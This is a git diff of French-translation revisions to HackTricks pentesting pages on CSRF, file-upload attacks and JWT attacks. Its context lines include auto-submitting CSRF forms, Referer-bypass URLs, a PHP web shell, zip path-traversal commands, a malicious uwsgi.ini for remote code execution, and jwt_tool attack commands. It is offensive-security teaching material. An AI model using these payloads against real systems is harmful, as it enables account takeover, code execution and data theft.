D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -29,15 +29,15 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui ! -## Explication de la faille de sécurité CSRF (Cross-Site Request Forgery) +## Explication de la faille CSRF (Cross-Site Request Forgery) -**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime à travers des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images. +**La faille Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime à travers des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images. ### Prérequis pour une attaque CSRF Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies : -1. **Identifier une action de valeur** : L'attaquant doit trouver une action à exploiter, telle que le changement du mot de passe de l'utilisateur, de l'e-mail ou l'élévation des privilèges. +1. **Identifier une action de valeur** : L'attaquant doit trouver une action à exploiter, telle que changer le mot de passe de l'utilisateur, son adresse e-mail ou élever ses privilèges. 2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin. 3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque. @@ -45,16 +45,16 @@ Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remp Vous pourriez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copier comme fetch** et vérifier la requête : -
+
### Se défendre contre les attaques CSRF Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF : * [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite). -* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). +* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). * **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur. -* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que : +* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une construction soigneuse d'URL peut contourner des vérifications mal implémentées, telles que : * Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance) * Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance) * **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées. @@ -66,15 +66,15 @@ Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécu ### De POST à GET -Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**. +Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF**, mais vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET, le **jeton CSRF est toujours validé**. ### Absence de jeton -Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de type Cross-Site Request Forgery (CSRF) efficacement. +Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement. ### Le jeton CSRF n'est pas lié à la session utilisateur -Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité important. Ces systèmes vérifient les jetons par rapport à un **pool global** au lieu de s'assurer que chaque jeton est lié à la session initiale. +Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité important. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de s'assurer que chaque jeton est lié à la session initiale. Voici comment les attaquants exploitent cela : @@ -82,13 +82,13 @@ Voici comment les attaquants exploitent cela : 2. **Obtenir un jeton CSRF valide** à partir du pool global. 3. **Utiliser ce jeton** dans une attaque CSRF contre une victime. -Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en exploitant le **mécanisme de validation de jeton inadéquat** de l'application. +Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application. ### Contournement de méthode -Si la requête utilise une **"méthode"** **"étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ -Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** : +Cela pourrait également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** : * _X-HTTP-Method_ * _X-HTTP-Method-Override_ @@ -99,15 +99,15 @@ Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'i Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête comme **méthode de protection CSRF**, alors : * Testez la requête sans le **jeton personnalisé et aussi l'en-tête**. -* Testez la requête avec une **longueur exactement identique mais un jeton différent**. +* Testez la requête avec exactement la **même longueur mais un jeton différent**. ### Le jeton CSRF est vérifié par un cookie -Les applications peuvent mettre en place une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en arrière-plan correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur du cookie. +Les applications peuvent mettre en place une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en backend correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur dans le cookie. Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des failles permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivi de l'initiation de l'attaque CSRF. -Voici un exemple de la structure d'une attaque : +Voici un exemple de la manière dont une attaque pourrait être structurée: ```html @@ -152,11 +152,11 @@ form.submit(); ``` ### Contournement des demandes de pré-vérification pour les données JSON -Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu initie une demande de pré-vérification. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type : +Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu initie une demande de pré-vérification. Néanmoins, il existe des stratégies pour potentiellement contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type : 1. **Utiliser des types de contenu alternatifs** : Utilisez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type. 2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`. -3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier Flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Contournement de la vérification du Référent / Origine @@ -174,7 +174,7 @@ Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer à l'intérieur des paramètres, vous pouvez faire : +Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer dans les paramètres, vous pouvez faire : ```html @@ -264,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit ``` -### Envoyer une requête POST de formulaire via un iframe +### Requête POST de formulaire via iframe ```html AAA.php ``` @@ -93,29 +93,29 @@ AAA<--SNIP 232 A-->AAA.php.png ### Autres astuces à vérifier -* Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension). +* Trouver une vulnérabilité pour **renommer** le fichier déjà téléversé (pour changer l'extension). * Trouver une vulnérabilité d'**inclusion de fichier local** pour exécuter la porte dérobée. * **Divulgation d'informations possible** : -1. Télécharger **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom** -2. Télécharger un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà** -3. Télécharger un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”. -4. Télécharger un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** en **NTFS** (Windows). -5. Télécharger un fichier dans **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom (Windows). -6. Télécharger un fichier dans **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9. -* Essayez également de **télécharger un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime. +1. Téléverser **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom** +2. Téléverser un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà** +3. Téléverser un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléversés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”. +4. Téléverser un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** en **NTFS** (Windows). +5. Téléverser un fichier dans **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom (Windows). +6. Téléverser un fichier dans **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9. +* Essayer également de **téléverser un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime. ### Astuces d'extensions spéciales -Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ -Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Si vous essayez de téléverser des fichiers vers un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ +Si vous essayez de téléverser des fichiers vers un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...) +Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...). L'extension `.inc` est parfois utilisée pour les fichiers PHP qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir autorisé **cette extension à être exécutée**. ## **Jetty RCE** -Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez obtenir une [RCE car les nouveaux fichiers \*.xml et \*.war sont automatiquement traités](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell! +Si vous pouvez téléverser un fichier XML dans un serveur Jetty, vous pouvez obtenir une [RCE car les nouveaux fichiers \*.xml et \*.war sont automatiquement traités](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell ! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>) @@ -123,9 +123,9 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation de l'RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom du fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité. +Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom_fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité. -Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, illustrant divers schémas : +Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, présentant divers schémas : ```ini [uwsgi] ; read from a symbol @@ -145,7 +145,7 @@ characters = @(call://uwsgi_func) ``` L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications. -Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration d'uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des exploitations potentielles. +Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée potentielle de l'exploitation. ## **Astuce de téléchargement de fichier/SSRF avec wget** @@ -193,11 +193,11 @@ Notez que **une autre option** à laquelle vous pourriez penser pour contourner * [Vulnérabilité **ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pourriez essayer d'exploiter un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**. * [**Contournement XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -* PDFs spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données. -* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur a un **antivirus** +* PDFs spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données. +* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus** * Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers -Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (à partir de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) : +Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) : 1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE 2. **SVG** : XSS stockée / SSRF / XXE @@ -266,9 +266,9 @@ create_zip() ``` **Abus de la compression pour la pulvérisation de fichiers** -Pour plus de détails, **consultez le message original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Pour plus de détails, **consultez l'article original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Création d'une coquille PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`. +1. **Création d'un Shell PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`. ```php ``` -2. **Pulvérisation de fichiers et création de fichiers compressés**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers. +2. **Pulvérisation de fichiers et création de fichiers compressés**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en changeant "xxA" en "../" pour traverser les répertoires. +3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en changeant "xxA" en "../" pour traverser les répertoires. ```bash :set modifiable @@ -312,7 +312,7 @@ Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-s Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons pouvant exister de manière valide dans plusieurs formats de fichier simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables. -L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques liés à des formats potentiellement dangereux (par exemple, JS, PHP ou des fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions. +L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Une pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement, tels que JPEG, GIF ou DOC, afin de réduire les risques posés par des formats potentiellement dangereux (par exemple, JS, PHP ou des fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions. Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement. @@ -327,7 +327,7 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). @@ -342,7 +342,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 240e39344..c1097800a 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -14,13 +14,13 @@ Autres façons de soutenir HackTricks : -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} -**Une partie de ce post est basée sur le superbe post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ +**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Gains Rapides** @@ -31,7 +31,7 @@ python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` -Si vous avez de la chance, l'outil trouvera un cas où l'application web ne vérifie pas correctement le JWT : +Si vous avez de la chance, l'outil trouvera des cas où l'application web ne vérifie pas correctement le JWT : ![](<../.gitbook/assets/image (435).png>) @@ -41,14 +41,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` ### Manipuler les données sans rien modifier -Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre nom d'utilisateur en "admin". +Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple. #### **Le jeton est-il vérifié?** Pour vérifier si la signature d'un JWT est vérifiée : * Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés. -* Un changement dans la page renvoyée indique également une vérification. +* Un changement dans la page renvoyée indique une vérification. * Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile. ### Origine @@ -62,7 +62,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement. -### Force brute du secret HMAC +### Brute-force du secret HMAC [**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt) @@ -70,7 +70,7 @@ Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il Définissez l'algorithme utilisé comme "None" et supprimez la partie signature. -Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token" vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None"). +Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" sur "None"). ### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555) @@ -79,7 +79,7 @@ L'algorithme RS256 utilise la clé privée pour signer le message et utilise la Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature. -Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web exécutant ceci : +Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci : ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the 